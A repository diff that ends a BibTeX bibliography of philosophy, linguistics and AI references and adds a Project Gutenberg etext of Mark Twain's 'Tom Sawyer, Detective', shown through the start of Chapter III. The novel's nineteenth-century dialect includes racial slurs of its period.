journal = {The Philosophical Review}, + year = {1995}, + volume = {104}, + number = {1}, + pages = {53--110}, + topic = {mereology;mass-term-semantics;} + } + +@incollection{ zimmerman_dw:1997a, + author = {Dean W. Zimmerman}, + title = {Immanent Causation}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {433--471}, + address = {Oxford}, + topic = {causality;} + } + +@book{ zimmerman_mj:1951a, + author = {Michael J. Zimmerman}, + title = {An Essay on Human Action}, + publisher = {P. Lang}, + year = {1951}, + address = {New York}, + topic = {philosophy-of-action;} + } + +@article{ zimmerman_te:1985a, + author = {Thomas Ede Zimmerman}, + title = {Remarks on {G}roenendijk and {S}tokhof's Theory + of Indirect Questions}, + journal = {Linguistics and Philosophy}, + year = {1985}, + volume = {8}, + number = {4}, + pages = {431--448}, + topic = {nl-semantics;interrogatives;} + } + +@article{ zimmerman_te:1992a, + author = {Thomas Ede Zimmerman}, + title = {On the Proper Treatment of Opacity in Certain Verbs}, + journal = {Natural Language Semantics}, + year = {1992--1993}, + volume = {1}, + number = {2}, + pages = {149--179}, + topic = {nl-semantics;referential-opacity;intensionality;} + } + +@article{ zimmerman_te:1993a, + author = {Thomas Ede Zimmerman}, + title = {Scopeless Quantifiers and Operators}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {5}, + pages = {545--561}, + topic = {generalized-quantifiers;} + } + +@article{ zimmerman_te:1999a, + author = {Thomas Ede Zimmerman}, + title = {Meaning Postulates and The Model-Theoretic Approach + to Natural Language Semantics}, + journal = {Linguistics and Philosophy}, + year = {1999}, + volume = {22}, + number = {5}, + pages = {529--561}, + topic = {nl-semantics;meaning-postulates;meaning-postulates;} + } + +@article{ zimmerman_te:2000a, + author = {Thomas Ede Zimmerman}, + title = {Free Choice Disjunction and Epistemic Possibility}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {4}, + pages = {255--290}, + topic = {free-choice-`any/or';disjunction;} + } + +@book{ zipf:1949a, + author = {George Kingsley Zipf}, + title = {Human Behavior and the Principle of Least Effort: An + Introduction to Human Ecology}, + publisher = {Hafner Publishing Co.}, + year = {1949}, + address = {New York}, + ISBN = {0444871500 (U.S.)}, + topic = {behavioral-economics;} + } + +@book{ zipf:1965a, + author = {George Kingsley Zipf}, + title = {The Psycho-Biology of Language: An Introduction to Dynamic + Philology}, + publisher = {The {MIT} Press}, + year = {1965}, + address = {Cambridge, Massachusetts}, + topic = {biolinguistics;} + } + +@inproceedings{ zlotkin-rosenschein_j:1989a, + author = {Gilad Zlotkin and Jeffrey S. Rosenschein}, + title = {Negotiation and Task Sharing among Autonomous Agents + in Cooperative Domains}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {912--917}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, CA}, + topic = {negotiation;distributed-AI;task-allocation;} + } + +@inproceedings{ zlotkin-rosenschein_j:1993a, + author = {Gilad Zlotkin and Jeffrey S. Rosenschein}, + title = {A Domain Theory for Task Oriented Negotiation}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {416--422}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {negotiation;distributed-AI;task-allocation;} + } + +@article{ zlotkin-rosenschein_j:1996a, + author = {Gilad Zlotkin and Jeffrey S. Rosenschein}, + title = {Mechanism Design for Automated Negotiation, and its + Application to Task Oriented Domains}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {2}, + pages = {195--244}, + topic = {negotiation;distributed-AI;task-allocation;} + } + +@article{ zlotkin-rosenschein_j:1996b, + author = {Gilad Zlotkin and Jeffrey S. Rosenschein}, + title = {Compromise in Negotiation: Exploiting Worth Functions + Over States}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {84}, + number = {1--2}, + pages = {151--176}, + topic = {intention-maintenance;negotiation;distributed-AI;} + } + +@inproceedings{ zlotnik:1997a, + author = {Martin Zlotnik}, + title = {Technology for Integrating Qualitative and Quantitative + Factors in Making Major Decisions}, + booktitle = {Working Papers of the {AAAI} Spring Symposium on + Qualitative Preferences in Deliberation and Practical + Reasoning}, + year = {1997}, + editor = {Jon Doyle and Richmond H. Thomason}, + pages = {125--130}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {qualitative-utility;decision-analysis;} + } + +@inproceedings{ zollo:1999a, + author = {Teresa Zollo}, + title = {A study of Human Dialogue Strategies in + the Presence of Speech Recognition Errors}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {132--139}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;speech-recognition;} + } + +@incollection{ zollo-core:1999a, + author = {Teresa Zollo and Mark Core}, + title = {Automatically Extracting Grounding Tags from {BF} Tags}, + booktitle = {Towards Standards and Tools for Discourse Tagging: + Proceedings of the Workshop}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Marilyn Walker}, + pages = {109--114}, + address = {Somerset, New Jersey}, + topic = {discourse-tagging;discoruse-structure;} + } + +@book{ zubizarreta:1998a, + author = {Maria Luisa Zubizarreta}, + title = {Prosody, Focus, and Word Order}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + topic = {prosody;sentence-focus;syntactic-minimalism;pragmatics;} + } + +@article{ zucchi:1999a, + author = {Sandro Zucchi}, + title = {Incomplete Events, Intensionality, and Imperfective + Aspect}, + journal = {Natural Language Semantics}, + year = {1999}, + volume = {7}, + number = {2}, + pages = {179--215}, + topic = {progressive;nl-semantics;intensionality;} + } + +@article{ zucchi-white_m:2001a, + author = {Sandro Zucchi and Michael White}, + title = {Twigs, Sequences, and the Temporal Constitution of + Predicates}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {2}, + pages = {223--270}, + topic = {nl-tense-aspect;} + } + +@article{ zucker_ji:1978a, + author = {J.I. Zucker}, + title = {The Adequacy Problem for Classical Logic}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {4}, + pages = {517--535}, + topic = {proof-theory;} + } + +@article{ zucker_ji-tragesser:1978a, + author = {J.I. Zucker and R.S. Tragesser}, + title = {The Adequacy Problem for Inferential Logic}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {4}, + pages = {501--516}, + topic = {proof-theory;} + } + +@inproceedings{ zukerman-mccanachy:1994a, + author = {Ingrid Zukerman and Richard McCanachy}, + title = {Discourse Planning as an Optimization Process}, + pages = {37--44}, + booktitle = {Seventh International Workshop on Natural + Language Generation}, + month = {June}, + year = {1994}, + topic = {nl-generation;discourse-planning;} + } + +@inproceedings{ zukerman-mcconachy:1995a, + author = {Ingrid Zukerman and Richard McConachy}, + title = {Generating Discourse Across Several User Models: + Maximizing Belief While Avoiding Boredom and Overload}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1251--1257}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {generation;user-modeling-in-generation;pragmatics;} + } + +@incollection{ zukerman-etal:1998a, + author = {Ingrid Zukerman and Richard McConachy and Kevin Korb}, + title = {Attention during Argument Generation and Presentation}, + booktitle = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Eduard Hovy}, + pages = {148--157}, + address = {New Brunswick, New Jersey}, + topic = {nl-generation;attention;argumentation;} + } + +@article{ zupan-etal:1999a, + author = {Bla\v{z} Zupan and Marko Bohanec and Janez Dem\v{s}ar + and Ivan Bratko}, + title = {Learning by Discovering Concept Hierarchies}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {109}, + number = {1--2}, + pages = {211--242}, + topic = {machine-learning;taxonomies;} + } + +@incollection{ zurif:1990a, + author = {Edgar B. Zurif}, + title = {Language and the Brain}, + booktitle = {Language: An Invitation to Cognitive Science, + Vol. 1.}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {177--198}, + address = {Cambridge, Massachusetts}, + topic = {neurolinguistics;} + } + +@article{ zwarts-verkuyl:1994a, + author = {Joost Zwarts and Henk Verkuyl}, + title = {An Algebra of Conceptual Structure: An Investigation + into {J}ackendoff;s Conceptual Semantics}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {1}, + pages = {1--28}, + topic = {cognitive-semantics;foundations-of-semantics;} + } + +@inproceedings{ zwarts:1995a, + author = {Joost Zwarts}, + title = {The Semantics of Relative Position}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {405--422}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;locative-constructions;} + } + +@article{ zwarts-winter:2000a, + author = {Ioost Zwarts and Yoad Winter}, + title = {Vector Space Semantics: A Model-Theoretic Analysis + of Locative Prepositions}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {2}, + pages = {169--211}, + topic = {spatial-semantics;} + } + +@incollection{ zwicky:1971a, + author = {Arnold Zwicky}, + title = {On Reported Speech}, + booktitle = {Studies in Linguistic Semantics}, + publisher = {Holt, Rinehart and Winston}, + year = {1971}, + editor = {Charles J. Fillmore and D. Terence Langendoen}, + pages = {72--77}, + address = {New York}, + topic = {reported-speech;} + } + +@incollection{ zwicky:1973a, + author = {Arnold Zwicky}, + title = {Linguistics as Chemistry: The Substance Theory of + Semantic Primes}, + booktitle = {A {F}estschrift for {M}orris {H}alle}, + publisher = {Holt, Rinehart and Winston, Inc.}, + year = {1973}, + editor = {Stephen R. Anderson and Paul Kiparsky}, + pages = {467--485}, + address = {New York}, + topic = {nl-semantics;} + } + +@incollection{ zwicky-sadock:1975a, + author = {Arnold Zwicky and Jerrold M. Sadock}, + title = {Ambiguity Tests and How to Fail Them}, + booktitle = {Syntax and Semantics 4}, + publisher = {Academic Press}, + year = {1975}, + editor = {John F. Kimball}, + pages = {1--36}, + address = {New York}, + topic = {ambiguity/generality;} + } + +@inproceedings{ zwicky:1976a, + author = {Arnold Zwicky}, + title = {Well, This Rock and Roll Has Got to Stop, {J}unior's + Head is Hard as a Rock}, + booktitle = {Proceedings of the Twelfth Regional Meeting of the + {C}hicago {L}inguistics {S}ociety}, + year = {1976}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor, pages}, + topic = {rhyme;} + } + +@book{ zwicky:1976b, + editor = {Arnold M. Zwicky}, + title = {Papers in Nonphonology}, + publisher = {Department of Linguistics, The Ohil State University}, + year = {1976}, + address = {Columbus, Ohio}, + topic = {nl-semantics;pragmatics;} + } + +@incollection{ zwicky:1977a, + author = {Arnold M. Zwicky}, + title = {Settling on an Underlying Form: The {E}nglish + Inflectional Endings}, + booktitle = {Testing Linguistic Hypotheses}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David Cohen and Jessica Worth}, + address = {New York}, + pages = {129--185}, + topic = {inflectional-morphology;English-language; + philosophy-of-linguistics;morphology;phonology;} + } + +@unpublished{ zwicky:1977b, + author = {Arnold Zwicky}, + title = {Litmus Tests, The {B}loomfieldian Counterrevolution + and the Correspondence Fallacy}, + year = {1977}, + note = {Unpublished manuscript, Linguistics Department, The + Ohio State University}, + topic = {philosophy-of-linguistics;foundations-of-linguistics;} + } + +@book{ zwicky-pullum:1982a, + author = {Arnold M. Zwicky and Geoffrey K. Pullum}, + title = {Cliticization versus Inflection: {E}nglish {\em n't}}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {clitics;contraction;} + } + +@inproceedings{ zwicky:1986a, + author = {Arnold Zwicky}, + title = {The General Case: Basic Form Versus Default Forms}, + booktitle = {Proceedings of the Twelfth Annual Meeting of the + Berkeley Linguistics Society}, + year = {1986}, + organization = {Berkeley Linguistics Society}, + publisher = {Berkeley Linguistics Society}, + editor = {Vassiliki Nikiforidou}, + pages = {305--314}, + address = {Berkeley, California}, + missinginfo = {Publisher info is a guess.}, + topic = {foundations-of-linguistics;nm-ling;} + } + +@inproceedings{ zwicky:1989a, + author = {Arnold Zwicky}, + title = {What's Become of Derivations? Defaults and Invocations}, + booktitle = {Proceedings of the Fifteenth Annual Meeting of the + Berkeley Linguistics Society}, + year = {1989}, + organization = {Berkeley Linguistics Society}, + publisher = {Berkeley Linguistics Society}, + editor = {Kira Hall et al.}, + pages = {303--320}, + address = {Berkeley, California}, + missinginfo = {Other editors, Publisher info is a guess.}, + topic = {foundations-of-linguistics;nm-ling;} + } diff --git a/mccalum/sawy310.txt b/mccalum/sawy310.txt new file mode 100644 index 0000000..c21d0f6 --- /dev/null +++ b/mccalum/sawy310.txt @@ -0,0 +1,3326 @@ +**Welcome To The World of Free Plain Vanilla Electronic Texts** + +**Etexts Readable By Both Humans and By Computers, Since 1971** + +*These Etexts Prepared By Hundreds of Volunteers and Donations* + +Information on contacting Project Gutenberg to get Etexts, and +further information is included below. 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FOR PUBLIC DOMAIN ETEXTS*Ver.04.29.93*END* + + +Internet Wiretap Edition of + +TOM SAWYER, DETECTIVE by MARK TWAIN + +Electronic edition by + + + +TOM SAWYER, DETECTIVE + +CHAPTER I. +AN INVITATION FOR TOM AND HUCK + +[Footnote: Strange as the incidents of this story are, +they are not inventions, but facts -- even to the +public confession of the accused. I take them from an +old-time Swedish criminal trial, change the actors, +and transfer the scenes to America. I have added some +details, but only a couple of them are important +ones. -- M. T.] + +WELL, it was the next spring after me and Tom +Sawyer set our old nigger Jim free, the time he +was chained up for a runaway slave down there on +Tom's uncle Silas's farm in Arkansaw. The frost was +working out of the ground, and out of the air, too, and +it was getting closer and closer onto barefoot time every +day; and next it would be marble time, and next +mumbletypeg, and next tops and hoops, and next +kites, and then right away it would be summer and go- +ing in a-swimming. It just makes a boy homesick to +look ahead like that and see how far off summer is. +Yes, and it sets him to sighing and saddening around, +and there's something the matter with him, he don't +know what. But anyway, he gets out by himself and +mopes and thinks; and mostly he hunts for a lone- +some place high up on the hill in the edge of the woods, +and sets there and looks away off on the big Mississippi +down there a-reaching miles and miles around the points +where the timber looks smoky and dim it's so far off and +still, and everything's so solemn it seems like everybody +you've loved is dead and gone, and you 'most wish you +was dead and gone too, and done with it all. + +Don't you know what that is? It's spring fever. +That is what the name of it is. And when you've got +it, you want -- oh, you don't quite know what it is you +DO want, but it just fairly makes your heart ache, you +want it so! It seems to you that mainly what you want +is to get away; get away from the same old tedious +things you're so used to seeing and so tired of, and set +something new. That is the idea; you want to go and +be a wanderer; you want to go wandering far away to +strange countries where everything is mysterious and +wonderful and romantic. And if you can't do that, +you'll put up with considerable less; you'll go any- +where you CAN go, just so as to get away, and be thank- +ful of the chance, too. + +Well, me and Tom Sawyer had the spring fever, and +had it bad, too; but it warn't any use to think about +Tom trying to get away, because, as he said, his Aunt +Polly wouldn't let him quit school and go traipsing off +somers wasting time; so we was pretty blue. We was +setting on the front steps one day about sundown talk- +ing this way, when out comes his aunt Polly with a +letter in her hand and says: + +"Tom, I reckon you've got to pack up and go down +to Arkansaw -- your aunt Sally wants you." + +I 'most jumped out of my skin for joy. I reckoned +Tom would fly at his aunt and hug her head off; but if +you believe me he set there like a rock, and never said +a word. It made me fit to cry to see him act so foolish, +with such a noble chance as this opening up. Why, +we might lose it if he didn't speak up and show he was +thankful and grateful. But he set there and studied +and studied till I was that distressed I didn't know +what to do; then he says, very ca'm, and I could a +shot him for it: + +"Well," he says, "I'm right down sorry, Aunt +Polly, but I reckon I got to be excused -- for the +present." + +His aunt Polly was knocked so stupid and so mad at +the cold impudence of it that she couldn't say a word +for as much as a half a minute, and this gave me a +chance to nudge Tom and whisper: + +"Ain't you got any sense? Sp'iling such a noble +chance as this and throwing it away?" + +But he warn't disturbed. He mumbled back: + +"Huck Finn, do you want me to let her SEE how bad +I want to go? Why, she'd begin to doubt, right +away, and imagine a lot of sicknesses and dangers and +objections, and first you know she'd take it all back. +You lemme alone; I reckon I know how to work her." + +Now I never would 'a' thought of that. But he was +right. Tom Sawyer was always right -- the levelest +head I ever see, and always AT himself and ready for +anything you might spring on him. By this time his +aunt Polly was all straight again, and she let fly. She +says: + +"You'll be excused! YOU will! Well, I never +heard the like of it in all my days! The idea of you +talking like that to ME! Now take yourself off and +pack your traps; and if I hear another word out of +you about what you'll be excused from and what you +won't, I lay I'LL excuse you -- with a hickory!" + +She hit his head a thump with her thimble as we +dodged by, and he let on to be whimpering as we +struck for the stairs. Up in his room he hugged me, +he was so out of his head for gladness because he was +going traveling. And he says: + +"Before we get away she'll wish she hadn't let me +go, but she won't know any way to get around it now. +After what she's said, her pride won't let her take it +back." + +Tom was packed in ten minutes, all except what his +aunt and Mary would finish up for him; then we waited +ten more for her to get cooled down and sweet and +gentle again; for Tom said it took her ten minutes to +unruffle in times when half of her feathers was up, but +twenty when they was all up, and this was one of the +times when they was all up. Then we went down, +being in a sweat to know what the letter said. + +She was setting there in a brown study, with it laying +in her lap. We set down, and she says: + +"They're in considerable trouble down there, and +they think you and Huck'll be a kind of diversion for +them -- 'comfort,' they say. Much of that they'll get +out of you and Huck Finn, I reckon. There's a neigh- +bor named Brace Dunlap that's been wanting to marry +their Benny for three months, and at last they told him +point blank and once for all, he COULDN'T; so he has soured +on them, and they're worried about it. I reckon he's +somebody they think they better be on the good side +of, for they've tried to please him by hiring his no- +account brother to help on the farm when they can't +hardly afford it, and don't want him around anyhow. +Who are the Dunlaps?" + +"They live about a mile from Uncle Silas's place, +Aunt Polly -- all the farmers live about a mile apart +down there -- and Brace Dunlap is a long sight richer +than any of the others, and owns a whole grist of nig- +gers. He's a widower, thirty-six years old, without +any children, and is proud of his money and overbear- +ing, and everybody is a little afraid of him. I judge he +thought he could have any girl he wanted, just for the +asking, and it must have set him back a good deal when +he found he couldn't get Benny. Why, Benny's only +half as old as he is, and just as sweet and lovely asQ +well, you've seen her. Poor old Uncle Silas -- why, +it's pitiful, him trying to curry favor that way -- so hard +pushed and poor, and yet hiring that useless Jubiter +Dunlap to please his ornery brother." + +"What a name -- Jubiter! Where'd he get it?" + +"It's only just a nickname. I reckon they've forgot +his real name long before this. He's twenty-seven, +now, and has had it ever since the first time he ever +went in swimming. The school teacher seen a round +brown mole the size of a dime on his left leg above his +knee, and four little bits of moles around it, when he +was naked, and he said it minded him of Jubiter and +his moons; and the children thought it was funny, and +so they got to calling him Jubiter, and he's Jubiter yet. +He's tall, and lazy, and sly, and sneaky, and ruther +cowardly, too, but kind of good-natured, and wears +long brown hair and no beard, and hasn't got a cent, +and Brace boards him for nothing, and gives him his old +clothes to wear, and despises him. Jubiter is a twin." + +"What's t'other twin like?" + +"Just exactly like Jubiter -- so they say; used to +was, anyway, but he hain't been seen for seven years. +He got to robbing when he was nineteen or twenty, +and they jailed him; but he broke jail and got away -- +up North here, somers. They used to hear about him +robbing and burglaring now and then, but that was +years ago. He's dead, now. At least that's what +they say. They don't hear about him any more." + +"What was his name?" + +"Jake." + +There wasn't anything more said for a considerable +while; the old lady was thinking. At last she says: + +"The thing that is mostly worrying your aunt Sally +is the tempers that that man Jubiter gets your uncle +into." + +Tom was astonished, and so was I. Tom says: + +"Tempers? Uncle Silas? Land, you must be jok- +ing! I didn't know he HAD any temper." + +"Works him up into perfect rages, your aunt Sally +says; says he acts as if he would really hit the man, +sometimes." + +"Aunt Polly, it beats anything I ever heard of. +Why, he's just as gentle as mush." + +"Well, she's worried, anyway. Says your uncle +Silas is like a changed man, on account of all this +quarreling. And the neighbors talk about it, and lay +all the blame on your uncle, of course, because he's a +preacher and hain't got any business to quarrel. Your +aunt Sally says he hates to go into the pulpit he's so +ashamed; and the people have begun to cool toward +him, and he ain't as popular now as he used to was." + +"Well, ain't it strange? Why, Aunt Polly, he was +always so good and kind and moony and absent-minded +and chuckle-headed and lovable -- why, he was just an +angel! What CAN be the matter of him, do you +reckon?" + + +CHAPTER II. +JAKE DUNLAP + +WE had powerful good luck; because we got a +chance in a stern-wheeler from away North which +was bound for one of them bayous or one-horse rivers +away down Louisiana way, and so we could go all the +way down the Upper Mississippi and all the way down +the Lower Mississippi to that farm in Arkansaw with- +out having to change steamboats at St. Louis; not so +very much short of a thousand miles at one pull. + +A pretty lonesome boat; there warn't but few +passengers, and all old folks, that set around, wide +apart, dozing, and was very quiet. We was four days +getting out of the "upper river," because we got +aground so much. But it warn't dull -- couldn't be +for boys that was traveling, of course. + +From the very start me and Tom allowed that there +was somebody sick in the stateroom next to ourn, be- +cause the meals was always toted in there by the wait- +ers. By and by we asked about it -- Tom did and +the waiter said it was a man, but he didn't look sick. + +"Well, but AIN'T he sick?" + +"I don't know; maybe he is, but 'pears to me he's +just letting on." + +"What makes you think that?" + +"Because if he was sick he would pull his clothes off +SOME time or other -- don't you reckon he would? +Well, this one don't. At least he don't ever pull off +his boots, anyway." + +"The mischief he don't! Not even when he goes +to bed?" + +"No." + +It was always nuts for Tom Sawyer -- a mystery was. +If you'd lay out a mystery and a pie before me and +him, you wouldn't have to say take your choice; it +was a thing that would regulate itself. Because in my +nature I have always run to pie, whilst in his nature he +has always run to mystery. People are made different. +And it is the best way. Tom says to the waiter: + +"What's the man's name?" + +"Phillips." + +"Where'd he come aboard?" + +"I think he got aboard at Elexandria, up on the +Iowa line." + +"What do you reckon he's a-playing?" + +"I hain't any notion -- I never thought of it." + +I says to myself, here's another one that runs to pie. + +"Anything peculiar about him? -- the way he acts or +talks?" + +"No -- nothing, except he seems so scary, and +keeps his doors locked night and day both, and when +you knock he won't let you in till he opens the door a +crack and sees who it is." + +"By jimminy, it's int'resting! I'd like to get a +look at him. Say -- the next time you're going in +there, don't you reckon you could spread the door +and --" + +"No, indeedy! He's always behind it. He would +block that game." + +Tom studied over it, and then he says: + +"Looky here. You lend me your apern and let me +take him his breakfast in the morning. I'll give you a +quarter." + +The boy was plenty willing enough, if the head +steward wouldn't mind. Tom says that's all right, he +reckoned he could fix it with the head steward; and he +done it. He fixed it so as we could both go in with +aperns on and toting vittles. + +He didn't sleep much, he was in such a sweat to get +in there and find out the mystery about Phillips; and +moreover he done a lot of guessing about it all night, +which warn't no use, for if you are going to find out +the facts of a thing, what's the sense in guessing out +what ain't the facts and wasting ammunition? I +didn't lose no sleep. I wouldn't give a dern to know +what's the matter of Phillips, I says to myself. + +Well, in the morning we put on the aperns and got a +couple of trays of truck, and Tom he knocked on the +door. The man opened it a crack, and then he let us in +and shut it quick. By Jackson, when we got a sight of +him, we 'most dropped the trays! and Tom says: + +"Why, Jubiter Dunlap, where'd YOU come from?" + +Well, the man was astonished, of course; and first +off he looked like he didn't know whether to be scared, +or glad, or both, or which, but finally he settled down +to being glad; and then his color come back, though at +first his face had turned pretty white. So we got to +talking together while he et his breakfast. And he +says: + +"But I aint Jubiter Dunlap. I'd just as soon tell +you who I am, though, if you'll swear to keep mum, +for I ain't no Phillips, either." + +Tom says: + +"We'll keep mum, but there ain't any need to tell +who you are if you ain't Jubiter Dunlap." + +"Why?" + +"Because if you ain't him you're t'other twin, Jake. +You're the spit'n image of Jubiter." + +"Well, I'm Jake. But looky here, how do you +come to know us Dunlaps?" + +Tom told about the adventures we'd had down there +at his uncle Silas's last summer, and when he see that +there warn't anything about his folks -- or him either, +for that matter -- that we didn't know, he opened out +and talked perfectly free and candid. He never made +any bones about his own case; said he'd been a hard +lot, was a hard lot yet, and reckoned he'd be a hard lot +plumb to the end. He said of course it was a danger- +ous life, and -- + +He give a kind of gasp, and set his head like a person +that's listening. We didn't say anything, and so it +was very still for a second or so, and there warn't no +sounds but the screaking of the woodwork and the chug- +chugging of the machinery down below. + +Then we got him comfortable again, telling him about +his people, and how Brace's wife had been dead three +years, and Brace wanted to marry Benny and she shook +him, and Jubiter was working for Uncle Silas, and him +and Uncle Silas quarreling all the time -- and then he +let go and laughed. + +"Land!" he says, "it's like old times to hear all +this tittle-tattle, and does me good. It's been seven +years and more since I heard any. How do they talk +about me these days?" + +"Who?" + +"The farmers -- and the family." + +"Why, they don't talk about you at all -- at least +only just a mention, once in a long time." + +"The nation!" he says, surprised; "why is that?" + +"Because they think you are dead long ago." + +"No! Are you speaking true? -- honor bright, +now." He jumped up, excited. + +"Honor bright. There ain't anybody thinks you are +alive." + +"Then I'm saved, I'm saved, sure! I'll go home. +They'll hide me and save my life. You keep mum. +Swear you'll keep mum -- swear you'll never, never tell +on me. Oh, boys, be good to a poor devil that's being +hunted day and night, and dasn't show his face! I've +never done you any harm; I'll never do you any, as +God is in the heavens; swear you'll be good to me +and help me save my life." + +We'd a swore it if he'd been a dog; and so we done +it. Well, he couldn't love us enough for it or be grate- +ful enough, poor cuss; it was all he could do to keep +from hugging us. + +We talked along, and he got out a little hand-bag +and begun to open it, and told us to turn our backs. +We done it, and when he told us to turn again he was +perfectly different to what he was before. He had on +blue goggles and the naturalest-looking long brown +whiskers and mustashes you ever see. His own +mother wouldn't 'a' knowed him. He asked us if he +looked like his brother Jubiter, now. + +"No," Tom said; "there ain't anything left that's +like him except the long hair." + +"All right, I'll get that cropped close to my head be- +fore I get there; then him and Brace will keep my +secret, and I'll live with them as being a stranger, and +the neighbors won't ever guess me out. What do you +think?" + +Tom he studied awhile, then he says: + +"Well, of course me and Huck are going to keep +mum there, but if you don't keep mum yourself there's +going to be a little bit of a risk -- it ain't much, maybe, +but it's a little. I mean, if you talk, won't people +notice that your voice is just like Jubiter's; and +mightn't it make them think of the twin they reckoned +was dead, but maybe after all was hid all this time +under another name?" + +"By George," he says, "you're a sharp one! +You're perfectly right. I've got to play deef and +dumb when there's a neighbor around. If I'd a struck +for home and forgot that little detail -- However, I +wasn't striking for home. I was breaking for any +place where I could get away from these fellows that +are after me; then I was going to put on this disguise +and get some different clothes, and --" + +He jumped for the outside door and laid his ear +against it and listened, pale and kind of panting. +Presently he whispers: + +"Sounded like cocking a gun! Lord, what a life to +lead!" + +Then he sunk down in a chair all limp and sick like, +and wiped the sweat off of his face. + + +CHAPTER III. +A DIAMOND ROBBERY + +FROM that time out, we was with him 'most all the +time, and one or t'other of us slept in his upper +berth. He said he had been so lonesome, and it was +such a comfort to him to have company, and somebody +to talk to in his troubles. We was in a sweat to find +out what his secret was, but Tom said the best way was +not to seem anxious, then likely he would drop into it +himself in one of his talks, but if we got to asking +questions he would get suspicious and shet up his shell. +It turned out just so. It warn't no trouble to see that +he WANTED to talk about it, but always along at first he +would scare away from it when he got on the very edge +of it, and go to talking about something else. The +way it come about was this: He got to asking us, +kind of indifferent like, about the passengers down on +deck. We told him about them. But he warn't satis- +fied; we warn't particular enough. He told us to de- +scribe them better. Tom done it. At last, when Tom +was describing one of the roughest and raggedest ones, +he gave a shiver and a gasp and says: + +"Oh, lordy, that's one of them! They're aboard +sure -- I just knowed it. I sort of hoped I had got +away, but I never believed it. Go on." + +Presently when Tom was describing another mangy, +rough deck passenger, he give that shiver again and +says: + +"That's him! -- that's the other one. If it would +only come a good black stormy night and I could get +ashore. You see, they've got spies on me. They've +got a right to come up and buy drinks at the bar +yonder forrard, and they take that chance to bribe +somebody to keep watch on me -- porter or boots or +somebody. If I was to slip ashore without anybody +seeing me, they would know it inside of an hour." + +So then he got to wandering along, and pretty soon, +sure enough, he was telling! He was poking along +through his ups and downs, and when he come to that +place he went right along. He says: + +"It was a confidence game. We played it on a julery- +shop in St. Louis. What we was after was a couple of +noble big di'monds as big as hazel-nuts, which every- +body was running to see. We was dressed up fine, and +we played it on them in broad daylight. We ordered +the di'monds sent to the hotel for us to see if we +wanted to buy, and when we was examining them we +had paste counterfeits all ready, and THEM was the things +that went back to the shop when we said the water +wasn't quite fine enough for twelve thousand dollars." + +"TwelveQthousandQdollars!" Tom says. "Was +they really worth all that money, do you reckon?" + +"Every cent of it." + +"And you fellows got away with them?" + +"As easy as nothing. I don't reckon the julery +people know they've been robbed yet. But it wouldn't +be good sense to stay around St. Louis, of course, so +we considered where we'd go. One was for going one +way, one another, so we throwed up, heads or tails, +and the Upper Mississippi won. We done up the +di'monds in a paper and put our names on it and put +it in the keep of the hotel clerk, and told him not to +ever let either of us have it again without the others was +on hand to see it done; then we went down town, each +by his own self -- because I reckon maybe we all had +the same notion. I don't know for certain, but I +reckon maybe we had." + +"What notion?" Tom says. + +"To rob the others." + +"What -- one take everything, after all of you had +helped to get it?" + +"Cert'nly." + +It disgusted Tom Sawyer, and he said it was the +orneriest, low-downest thing he ever heard of. But +Jake Dunlap said it warn't unusual in the profession. +Said when a person was in that line of business he'd +got to look out for his own intrust, there warn't no- +body else going to do it for him. And then he went +on. He says: + +"You see, the trouble was, you couldn't divide up +two di'monds amongst three. If there'd been three -- +But never mind about that, there warn't three. I +loafed along the back streets studying and studying. +And I says to myself, I'll hog them di'monds the first +chance I get, and I'll have a disguise all ready, and I'll +give the boys the slip, and when I'm safe away I'll put +it on, and then let them find me if they can. So I got +the false whiskers and the goggles and this countrified +suit of clothes, and fetched them along back in a hand- +bag; and when I was passing a shop where they sell all +sorts of things, I got a glimpse of one of my pals +through the window. It was Bud Dixon. I was glad, +you bet. I says to myself, I'll see what he buys. So +I kept shady, and watched. Now what do you reckon +it was he 